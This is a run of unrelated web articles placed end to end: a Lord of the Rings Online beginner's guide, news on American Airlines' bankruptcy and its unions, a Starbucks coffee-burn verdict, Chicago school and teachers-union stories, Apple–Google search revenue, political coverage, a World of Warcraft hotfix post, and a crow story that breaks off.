Most LOTRO classes employ some sort of hybridization of roles. There’s the Captain (tank, healer, and melee fighter with a pet), Lore-master (healer and debuffer with animal pets), Rune-keeper (healer and nuker), Minstrel (also a healer and long-range shouter with more of a musical approach), Beorning (tank, healer, and melee fighter with shapeshifting), Guardian (your heavy duty tank), Champion (melee fighter who can also tank), Warden (combo-using spear fighter that can tank), Hunter (long-range nuker), and Burglar (dual-wielding Rogue archetype). Pick whichever interests you and try them out through the starting zone to see if it clicks with you.
Useful options
I always like taking a few minutes at the start of a new character to set up the game’s options. A few of the more useful options is to enable a selection indicator (which creates a line on the ground pointing to your target), move-to-attack (which automatically has your character run up to an enemy), show trivial quest icons (because you WILL outlevel quests and it’s always nice to see them on the screen), loot all (LOTRO automatically loots anything you kill without you needing to click on the corpse), and jack up chat window opacity so you can actually read it. Some players like to disable chat channels for trade, LFF, and world chat, but that’s up to you. Sometimes these can be useful and entertaining channels, and sometimes they are Barrens chat incarnate.
Another tip is to merge all of your inventory bags into one big bag, which can be done courtesy of an update from this past year. It’s just easier to see and work with a single bag, in my opinion.
Navigating free-to-play
There’s always a lot of confusion about the game’s business model, so let me straighten it out. LOTRO employs a hybrid free-to-play model, meaning that you can either subscribe or play for free with limitations. Subscribers still have to buy expansions, but otherwise get all of the content for free and a monthly point stipend. Free players get all content up through level 30 for free, and only the epic storyline until Helm’s Deep (the fifth expansion) after that.
If you’re new, I’d recommend trying out the game for a while (30 levels is a few weeks’ of play right there) and see if it’s something you want to play for a long time. If you like it, you’re going to want to drop some money on it in some way. The best deal you can get right now is to hunt around for the four-expansion pack (with covers the first four expansions of the game) and then pick up Helm’s Deep separately when you can. It’s entirely possible that some good sales might be coming with this year’s new expansion, so keep an eye on that.
All players can earn LOTRO Points (LP) by playing the game and hitting achievements (which you do quite frequently). These can be saved up to buy zone packs or even expansions, although those are pretty pricey. I would highly recommend that any player buy the riding skill (95 LP) right out of the tutorial, because there is no way that you want to be running across this gigantic world.
It should also be noted that free players are bumped up to “premium” status if they spend any real money on the store. Premium accounts receive a few nicer perks but certainly not as full-featured as subscribers.
Jumping starting zones
LOTRO has three starting zones: Ered Luin (Elves and Dwarves), Bree-land (Beornings and Man), and The Shire (Hobbits). Once you get out of the tutorial and instanced intro zone, you’ll be in one of these three regions. But the interesting thing is that you have the option to take a stable mount and ride over to another region if you prefer to tackle your level 6 through 15 experience somewhere else. So Elves can level in the Shire, Hobbits can go to Bree-land, and so on.
As long as you keep to the epic storyline as your main narrative guide, you’ll be fine. Eventually around level 15, all players will be funneled into Bree and then progress from there.
From Eriador to Mordor
There are three main types of quests in this game. The first are your standard boilerplate missions that can be part of larger chains or one-and-done events. Then there are tasks, which are fairly dull repeatable quests if you need reputation or (for some bizarre reason) experience. Although experience really should come quite easily in this game if you do all of the normal quests.
Then there’s the epic storyline, or the “epic,” as it’s sometimes called. This is the overarching narrative, the big story that will take you from the start of the game all of the way to Mordor. The epic is divided into volumes, books, and chapters, and they offer the best questing rewards and tales for the most part. From Volume 2 on, you do need to do the epic (some areas won’t unlock unless you do), so don’t avoid them. However, Volume 1 is largely seen as optional. You certainly can do it, and it will take you all over Eriador, but it’s more travel intensive than the later volumes and not strictly needed if you simply want to do zone quests. It’s also less tethered to Tolkien’s books than the later volumes, which is a factor for some players. It’s your choice.
LOTRO does allow for some choice of questing areas as you level up, particularly in the first 50 levels. For example, North Downs and Evendim both have questing options in the level 30 to 40 range, so you could viably do one and ignore the other. By your late 40s, you’re going to want to make sure you have started Volume 2 of the epic and are making your way to Moria.
Traits, deeds, and you
There are two large and intertwined systems in the game that all players deal with, and those are the deed system and trait system. Deeds are LOTRO’s version of achievements, giving you side activities that pay out in various rewards (titles, LP, currency, gear, and traits). Traits are passive or active abilities that can be equipped to your character to provide you with certain skills (such as stealthing as a Hobbit or quick traveling back to your home city) or a boost in stats.
You don’t have to do all of the deeds, of course, although some are more useful than others, and most all give you LP to spend on store purchases. Generally I’d say that class and racial traits are more important than virtues, which are statistically inferior the further you progress in the game than what you get from your gear. I always like to be working on one or two deeds at a time while I’m questing.
Class trait points are spent in the trait tree, which should be quite familiar to anyone who’s interacted with an MMO talent tree in the past.
When do I get…?
Another common question by newbies is wondering at which level do they gain access to certain features.
Mounts: Level 6 (if you buy the riding skill from the store) or level 20 (for subscribers only)
Level 6 (if you buy the riding skill from the store) or level 20 (for subscribers only) PvP: Monster play opens up at level 10 for those who want to participatate
Monster play opens up at level 10 for those who want to participatate Epic Battles: Since epic battles scale characters up to level 100, you can jump in as early as level 10 using the menu interface
Since epic battles scale characters up to level 100, you can jump in as early as level 10 using the menu interface Housing: Settle into your first abode at level 15 (there are five housing regions, one of which is for store-bought homes only)
Settle into your first abode at level 15 (there are five housing regions, one of which is for store-bought homes only) Legendary items: You have to be level 45 and going through the first part of Volume II of the epic
You have to be level 45 and going through the first part of Volume II of the epic Skirmishes: The first set of skirmishes (small instanced battles) opens up at level 20, although there are additional ones as you level beyond that
The first set of skirmishes (small instanced battles) opens up at level 20, although there are additional ones as you level beyond that War-steed: Access to mounted combat begins at level 71 at the start of the Rohan content, although you’ll need to go through a quest chain first before you get your own super-fast, super-hard to control horsey
A final note about inventory and storage
LOTRO dumps a lot of stuff at you, and while much of it is either crafting-related or simply vendor trash, you’re eventually going to want to keep a lot of it. Fortunately, the game has more than just your bag space to help out.
In any of the major cities (and a few other places), there is an NPC that gives you access to your three-in-one bank. You have a vault (standard, expandable storage), a shared storage (bank space that can be accessed by all of your characters), and a wardrobe (which makes cosmetic copies of your gear that can be used for your cosmetic outfits). If you purchase a house, you’ll get an additional storage chest in there as well.
Hope this all helps! I’m sure I’m overlooking a few dozen other things, but if I was to advise a friend, this is what I’d want him or her to know starting out in the game.American Airlines Petitions to Override 3 Unions’ Contracts, Promises New Offer For Largest
(AA jet photo via Shutterstock)
TWU appears most likely union to reach deal prior to judge's ruling
Four months after filing for bankruptcy, last week American Airlines’ parent company AMR petitioned a judge to override its union contracts. In a letter to employees, American CEO Thomas Horton said that “with losses mounting and oil prices rising, there is growing urgency to move more quickly.” Horton wrote that “consensually negotiated contracts…will remain the ultimate objective” in union negotiations. But he warned that “failure to make the right changes is failure and that puts all jobs at American at risk.”
“Everything we have…they want to put a blow torch to it…” says AMR employee Tom Hoban, communications chairman of the Allied Pilots Association (APA). “They’re going for the jugular.”
As I’ve previously reported, AMR filed for bankruptcy November 29, despite $4 billion in cash and the reported objections of then-CEO Gerard Arpey, whose resignation was announced the same day. The announcement came eight years after its three unions narrowly agreed to tremendous concessions to forestall bankruptcy, and weeks after tentative agreements were reached on new contracts—with more concessions—for some employees. Union leaders have condemned the bankruptcy filing as a gambit to extract even deeper concessions from workers.
AMR’s "1113 motion" (so-named for a section of the bankruptcy code) drew criticism from its three unions: the 18,000-member Association of Professional Flight Attendants, the 10,000-member APA, and the Transport Workers Union, which represents 26,000 technicians, mechanics and fleet service workers at American and sibling airline American Eagle.
In an e-mailed statement, APFA President Laura Glading said the filing came as no surprise, and blamed Horton for “outright refusal to consider” the union’s employee buy-out proposal. Glading said that the company's motion would succeed “only if it convinces the judge that contract changes it seeks are necessary, fair and equitable. In reality, its draconian demands are none of those things.”
AMR made its bankruptcy proposal, designed to cut labor costs by 20 percent, on February 1. As Mike Elk reported, TWU has warned that AMR’s planned elimination of 13,000 jobs could threaten safety by shifting maintenance to countries with less regulation.
But as David Moberg reported for In These Times, following pressure from unions and the Pension Benefit Guarantee Corporation, AMR agreed to freeze workers’ pensions rather than liquidating them (TWU President Jim Little told me in an earlier interview that such pensions are unlikely to ever be unfrozen). Still, no contracts were reached, and AMR filed its 1113 motion last Tuesday.
In a statement that day, an American Airlines spokesperson said that while the company still seeks negotiated contracts, "Today's competitive marketplace gives no credit for sacrifices made in years gone by. The facts are American's labor agreements currently burden it with operations it cannot afford and restrictions that place it at a competitive disadvantage."
On Friday, AMR posted a "Negotiations Update" online that referenced ongoing discussions with all three unions and said, "We continue to make progress with the TWU and have narrowed many of the issues." AMR said that it had made "important moves toward the union, including outsourcing fewer TWU jobs," and would present TWU with "a comprehensive proposal...by early next week." In a statement released the same day, TWU President Little said, "Even as we prepare to vigorously defend our contracts in court, we will stay in communication with the company and we're ready to meet for as long as necessary."
Asked last month whether AMR was attempting to reach a deal with one of the three unions so that a judge would be more sympathetic to AMR's case against the other two, TWU President Little said, "I hope so. I would hope it would be us." Granted anonymity to speak candidly this morning, a source close to negotiations said AMR was expected to offer to reduce its 9,000 proposed layoffs of TWU members by "a couple thousand."
Little will hold a conference call with union members tomorrow night. Movement on layoffs could increase AMR's chances of appearing before the judge with a deal with its largest union already in place.
But Hoban, of APA, says AMR has shown no interest in a negotiatiated deal with his union. “What they’ve essentially done,” he charges, “is postured for the last month or so...they moved a few insignificant items around” as part of “a kabuki dance designed to provide that little piece of theater to the court and then say, ‘Hey, we’re ready to file.’”
Hoban says American’s losses over the past decade result from management strategy —failure to keep up on fuel efficiency, customer service issues, and “this mantra that we’re going to shrink ourselves to profitability”—not labor costs. “We gave them what amounted to a near-bankruptcy contract” in 2003, says Hoban. “They had a significant cost advantage, but the other issues with regard to fuel and revenue disadvantages are something that labor can’t solve for them.”
Hoban faults AMR for rejecting APA’s proposal for binding arbitration, which he says would have resulted in concessions similar to those made during other airlines’ bankruptcies. Instead, he says AMR has insisted on terms that could never be approved by members: “It’s going to be an operational disaster…Do you really want to alienate everybody from the pilots all the way down?”
Pointing to precedent, APA's Hoban says AMR’s motion is likely to prevail with or without any negotiated deals already in hand. “The judge always rules in favor management. That’s just the way it is. That’s why they filed in the second circuit.” A hearing has not yet been scheduled; the judge has up to 21 days from the motion's filing to schedule a hearing, and 30 days afterwards to rule.
Section 1113 directs the court to approve management's motion if it meets three standards. First, the company must have “made a proposal,” based on full and current information, whose terms are “necessary to permit the reorganizations” and under which “all of the affected parties are treated fairly and equitably.” Second, the union must have “refused to accept such proposal without good cause.” Third, the “balance of the equities” must favor overriding contracts.
The second circuit has ruled that while this includes a requirement that the company negotiate in good faith with the union over its proposal, it is not unreasonable to file a 1113 motion within as few as four days after making a proposal. It has also ruled that “fair and equitable” does not require that managers have their compensation cut “to the same degree” as union members, and that for labor to show “good cause” for rejection, “that refusal must be based on objective evidence that the proposal is not necessary to a successful reorganization.”
The second circuit has specified that “balance of equities” includes considering the relative risks of liquidation, loss to creditors, strikes, and breach of contract lawsuits, as well as parties’ different abilities to absorb costs and the extent to which they’ve acted in good faith.
In its legal filing, AMR says that American needs to cut labor costs by $1.25 billion per year in order to succeed. “Simply stated,” says the filing, “if the Court does not grant the relief sought here, American will have no viable business enterprise.” In arguing its case on “balance of equities,” AMR’s legal case specifically cites the legal limits on its workers’ right to strike. Unlike most American workers, AMR employees aren’t covered by the National Labor Relations Act, but instead by the Railway Labor Act.
As AMR notes, the RLA puts a series of hurdles in front of workers seeking to strike, including the requirement of release by the National Mediation Board. “Really the only thing that would compel management to bargain is a threat to strike,” says Hoban. Because the risk of a strike is a potential factor for a judge to weigh against allowing contracts to be overriden, the same legal restriction that reduces workers’ bargaining power also helps management’s legal case for overriding their bargaining rights.
APA has filed a lawsuit attempting to bring the National Mediation Board, which oversees normal contract negotiations under the RLA, into the process.
When the Associated Press asked AMR CEO Horton about workers’ pickets in a March 25 interview, he replied, “I don’t pay attention to it. I don’t know how many people have been out picketing. It must not be very big because I haven’t seen it, but I’ve talked to thousands of people, real people doing real work…what I see is people doing a real good job and wanting to get behind our company and excited about the future.”
Asked whether AMR’s filing will spur closer coordination between its three unions, APA's Hoban says it’s unlikely. “We all have different institutional issues…everybody’s got a different agenda in this process.”Starbucks has been ordered to pay $100,000 to a woman who was severely injured when a lid came off her coffee and gave her first and second-degree burns.
Joanne Mogavero, 43, was left with permanent scarring after a 190-degree Venti size coffee spilt in her lap at the drive-thru of a Jacksonville Starbucks (sbux), said a statement from Morgan & Morgan, the attorneys who represented her.
According to Morgan & Morgan, the jury decided to award Mogavero “$85,000 for pain and suffering, physical impairment, disfigurement, inconvenience, and loss of capacity for enjoyment of life, and about $15,000 for the medical bills she had in connection with her life-altering injury.”
The statement adds that even though Starbucks receives around 80 complaints a month about lid leaks and lids popping off, as an employee testified, the coffee giant thought it would not be relevant to warn customers of the risk.
“My client didn’t want sympathy from the jury—she wanted justice—and the jury gave it to her with its verdict,” Mogavero’s lawyer, Steve Earle said. “It was good to see a just result.”
A spokesperson for Starbucks told Fortune that the company is standing behind its employees in this case and “maintain[ing] they did nothing wrong.” The coffee chain is also considering an appeal.Von Steuben Principal Pedro Alonso (right) said the high school had achieve the top rating. View Full Caption DNAinfo/Patty Wetli
ALBANY PARK — Pedro Alonso, principal at Frederick Von Steuben Metropolitan Science Center, saved the best news for last at Wednesday night's marathon Local School Council meeting when he announced that the high school's most recent report card made it a Level 1 School.
Only a handful of the district's more than 150 high schools have earned the coveted Level 1 standing, achieved almost solely by the system's selective enrollment schools. Von Steuben, a lottery school, now joins this exclusive club.
"We're up there with all the No. 1 schools," said Alonso. "That's big."
Among the numerous measures CPS employs to assess schools, the Performance Policy assigns rankings of Level 1 for excellent standing, Level 2 for good standing and Level 3 for probation. Schools earn points for current performance, trends over time and student growth on a variety of metrics.
Alonso noted that he had yet to view the data that moved the needle for Von Steuben but expected to have more information to share at next month's LSC meeting, scheduled for Dec. 13 at 6:30 p.m. in the school's new Social Room.CHICAGO – With Chicago teachers facing a hostile mayor and Chicago Board of Education in negotiations for a new contract, 90% of teachers union members have voted to authorize a strike.
“This is not a win,” said Chicago Teachers Union President Karen Lewis. “This is an indictment of the state of relations between Chicago Public Schools (CPS) management and the union.”
Lewis linked CPS policies with billionaire investors who are seeking to privatize city schools. “It’s also an indictment of outside groups who are seeking to destroy the real work of Chicago teachers, paraprofessionals and clinicians,” she said.
Ninety-one percent of 25,000 teachers voted and of those, 98% voted to authorize a strike. The vote doesn’t mean a strike will occur, but is seen as a way for the union to strengthen its bargaining position.
Mayor Rahm Emanuel and school privatization forces had sought to handcuff the CTU by gaining passage of a new state law requiring 75% of union members to vote for strike authorization for it to be effective. Every non-vote is now considered a “No” vote.
CPS CEO Jean-Claude Brizard criticized the union for acting before an arbitrator issued a report in mid-July. But Lewis said the arbitrator would only make recommendations on a narrow range of salary and benefit issues.
Lewis said there are many other issues teachers want included in negotiations impacting work conditions and the educational learning environment for children. They include smaller class sizes, setting up libraries in 160 schools presently without them, and restoring music and art classes systemwide.
“We’re also tired of being disrespected and treated like we don’t know what we’re doing,” said Lewis.
The relationship between teachers and the administration of Mayor Emanuel has grown increasingly bitter, with Emanuel demonizing teachers and imposing new education policies without consultation with educators.
The Board of Education, stocked with some of Chicago’s wealthiest and biggest investors, revoked a scheduled 4% pay hike for teachers, extended the school day 20% while increasing teacher pay only 2%.
In February the BOE, despite widespread community opposition, approved a plan to close seven schools, and “turn around” 10 others by firing the entire staffs or turning them over to private operators. This continues a longstanding policy of Emanuel’s predecessor as mayor, Richard M. Daley.
Emanuel recently went to the state capital, Springfield, to lobby for cutting public worker pensions.
Lewis said, “While our members work in schools that are under-resourced, understaffed and underappreciated, they have toiled silently long enough, while the mayor of this city shut down schools and handed over operations to well connected friends.”
She blasted Wall Street investors and deceptively named anti-union groups like Democrats for Education Reform, Education Reform Now, Stand for Children, the Broad Foundation and other groups who she said were “standing on the backs of our children, while they profess to be concerned about them yet ignore the harsh realities of their lives.”
These and other groups have been pouring millions of dollars into electing pro-privatization legislators and lobbying to expand charter schools and weaken teacher unions.
Lewis said the CTU would continue to reach out to parents who share their concern over education quality. She warned that differences over contractual issues and education policies would only be solved through cooperation and not through outside consultants and billionaire investors.
Photo: CTU Facebook pagePhoto by Kevork Djansezian/Getty Images Apple made $1 billion off Google last year by having it as the default search engine in Safari, says Macquarie analyst Ben Schachter in a note this morning.
Schachter wrote his note in response to the fact that Apple seems to be shifting away from Google Maps.
Moving away from Google Maps isn't that big a deal for Google. But what if Apple moved away from Google for search? Would that hurt Google? The answer appears to be no, at least in the short term.
Schachter believes Google searches on Apple devices resulted in $1.3 billion in gross revenue. He believes Google has a 75% traffic acquisition cost associated with that revenue. As a result, Google only gets $335 million in net revenue from searches on iOS and Safari.
If Apple were to abandon Google, the impact to Google would be minor. The impact to Apple might actually be worse, since it would have to rely on search engines that are arguably inferior to Google.
In the long run, though, it could hurt Google since the iPad appears to be taking over the world. If the iPad overtakes the PC in the next 5 years and it becomes the number one way people are searching, then Google will be in trouble.
Here's the breakdown from Schachter on how he got to his number:
Deeper look at the financial impact - We know that Apple TAC is accounted for in the Google.com TAC line item reported each quarter by Google. For 2011, Google reported ~$1.5bn in total Google.com TAC. For modelling purposes, we assume that Apple represented ~66% of this TAC (though we acknowledge that this could be high), or $1bn. At a 75% TAC rate, this means that Google generated ~$1.3bn in gross search revenue through default search placement on Apple devices. In other words, this $1.3bn of search revenue ($335m net search revenue) in 2011 is at risk if Apple moves away from Google. $335m represented ~1% of net Google.com search revenue. Notably, mobile/Apple revenue is among its fastest growing revenue drivers.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
June 4, 2017, 2:55 PM GMT / Updated June 4, 2017, 2:58 PM GMT By Kailani Koenig
WASHINGTON — Former Secretary of State John Kerry on Sunday blasted President Donald Trump’s decision to pull out of the Paris climate accord and mocked the president’s claims about negotiating a different agreement.
“When Donald Trump says, well, we’re going to negotiate a better deal, you know, he’s going to go out and find a better deal? That’s like O.J. Simpson saying he’s going to go out and find the real killer,” Kerry said during an exclusive interview on NBC’s “Meet The Press.”
"Everybody knows he isn't going to do that because he doesn’t believe in it,” Kerry continued. “If he did believe in it, he wouldn’t have pulled out of Paris. America has unilaterally ceded global leadership on this issue, which for years, even Republican Presidents George H.W. Bush pushed in this direction.”
On Thursday, President Trump announced his long-awaited decision to fulfill a campaign pledge and pull out of the Paris climate agreement, which was aimed at curbing emissions that contribute to climate change. The decision was a reversal of the Obama administration’s announcement last year that the U.S. would enter the agreement, and most of the rest of the world has also signed on.
Kerry invoked his successor as secretary of state, who also opposed the U.S. pulling out of the accord.
“I mean, what does Donald Trump know that Rex Tillerson, the former CEO of ExxonMobile, doesn’t know?” he asked.
EPA Administrator Scott Pruitt, also on Sunday’s "Meet The Press,” was one of the members of the administration to push President Trump to exit the agreement, and firmly defended the president’s decision Sunday morning, including repeating his assertion that other nations around the world applauded the U.S. previously signing on because “it put us at an economic disadvantage."
“Why did China and India not have to take any steps until 2030?” Pruitt asked. “Why did India condition their CO2 [carbon dioxide] reductions upon receiving $2.5 trillion of aid in the agreement? We were going to take steps, front loading our costs while the rest of the world waited to reduce their CO2 footprint. That’s the reason it put us at an economic disadvantage internationally.”BALTIMORE—House Republicans sought to come of age the past few days at Baltimore’s Inner Harbor. During their annual policy retreat, an introspective Republican caucus took up the question posed by House Speaker Paul Ryan: “How do we offer the country a very clear and compelling choice?”
At issue is the legislative direction Republicans will take to distinguish themselves from Democrats.
For Ryan, 2016 is all about ideas.
“We’ve been talking about how to go on the offensive on ideas,” Ryan told reporters at a press conference Friday as the three-day event at the Baltimore Marriott Waterfront ended. “Because if we don’t like the direction the country’s going, we have an obligation to offer an alternative.”
But while lawmakers from both chambers of Congress got into the policy weeds during the closed-door discussions, House leadership offered a broad portrait of its policy agenda.
Three days after President Obama delivered his final State of the Union address to a joint session of Congress, Ryan outlined five targets for Republican reform. In doing so, the Wisconsin Republican fleshed out the “bold, pro-growth agenda” he promised as he assumed the speakership in October and in a Library of Congress address in December.
National Security
First on Ryan’s list: calming the nerves of Americans who he said “are very anxious right now, and rightfully so.”
The speaker said Republicans would take up the question of “building a 21st-century military,” one capable and equipped “to defeat ISIS and the threat posed by radical Islamic terrorism.”
Jobs and Economic Growth
Though the White House boasts that the nation added 14 million jobs in two years, a bullish Ryan said the “economy is far from reaching its potential.” He said:
Wages are still stagnant. Families are still hurting. People are working harder than ever before, but they feel they’re slipping farther behind.
Ryan offered a brief blueprint of Republicans’ planned economic action: “Fix the tax code,” “rein in the regulatory state,” and “maximize the nation’s energy potential.”
Health Care
A week after Obama vetoed a bill that would have gutted his signature health care law, Ryan renewed the Republican mantra of repealing and replacing the Affordable Care Act, popularly known as Obamacare:
Obamacare has taken us down the wrong path: higher prices, higher deductibles, fewer choices, restricted access. How do we not only repeal this law, but what solutions lead us to a lower cost and a truly patient-centered health care system?
Poverty and Opportunity
Ryan continued his push to win the 50-year-old “War on Poverty” with conservative principles but balked at what he considers a broken welfare system.
“Right now, we have a safety net that is designed to catch people falling into poverty when what we really need is a trampoline that gets people out of poverty and into lives that they want for themselves,” he said.
Restoring the Constitution
Ryan also talked political philosophy, describing the Constitution as a “beautiful system of rules” that remains “so critical” to achieving his vision.
“We are a country founded on an idea. And our rights don’t come from government. Our rights come from God. Our rights are natural,” he said.
He praised a political system that preserves liberty and freedom “so that we can exercise those rights.”
Taking aim at the president, Ryan said the “overreach” that defined the past seven years of the Obama administration “has undermined the Constitution” and “damaged the people’s trust.”
Conservatives have criticized Obama’s executive actions on everything from health care and education to immigration and gun control.
“People, more and more, don’t trust our government, and it’s because we’ve deviated from the Constitution,” he said.We’ve recently taken another look at the rate of Honor gains in various Battlegrounds, and have concluded that current Honor gains in several Battlegrounds are too low. To that end, we’ll be making several changes to the way that Honor bonuses are rewarded in those battlegrounds, as follows:In Arathi Basin, Battle for Gilneas, and Eye of the Storm, we’ll be increasing the frequency at which you’ll be rewarded bonus Honor based on the points your team has earned. Currently, you earn bonus Honor every 260 points (or 200 if that battleground is the current Call to Arms) in these battlegrounds. As a part of this adjustment, we’re going to lower the number to 130 (or 100 during Call to Arms).We’re also making a similar change to Silvershard Mines. Currently bonus Honor is earned for every 265 points (or every 160 if Silvershard is the current Call to Arms). After the change, you’ll earn bonus Honor every 200 points (or 130 during Call to Arms).Warsong Gulch and Twin Peaks are getting a slightly different treatment. Because these matches tend to take longer than the above Battlegrounds (which directly affects the rate at which you earn Honor from playing them) we wanted to make some changes to speed them up a bit. To do this we’re going to apply the Focused Assault debuff 1 minute after both flags have been picked up, which is 2 minutes earlier than it does currently. Once it’s begun to apply, it will continue to increase at the current rate of 1 stack every minute. On top of that, we’re adding a new bonus at the end of the match: For every flag you prevent the opposing team from capturing (so, every flag under 3), you’ll earn 18 extra Honor.Lastly, in Strand of the Ancients, we’re doubling the bonus a team earns for destroying a gate (or preventing it from being destroyed).These hotfixes are currently in production, and will be applied as soon as they are ready. We’ll have an update in the official Hotfix blog once they’re active. We look forward to seeing you on the fields of battle!Canuck the Crow is a free bird again.
He was released from the Night Owl Bird Hospital in Kitsilano on Tuesday morning, brought home by his buddy Shawn Bergman and set free in his east Vancouver neighbourhood.
“It looks like he’s going to be all right,” Bergman said. “It’s good he’s back in the neighbourhood, back in the swing of things. It’s nice to see him doing a lot of the things he did before.”
Understandably, after being attacked by a soccer dad with a flagpole on March 25 and knocked cold, Canuck seems a little less trusting of strangers, Bergman added.
He captured the homecoming on video and posted it on the wildly popular Facebook page Canuck and I (@thecrowandI).
When Bergman opened the travel box and Canuck emerged, to “reclaim his kingdom |
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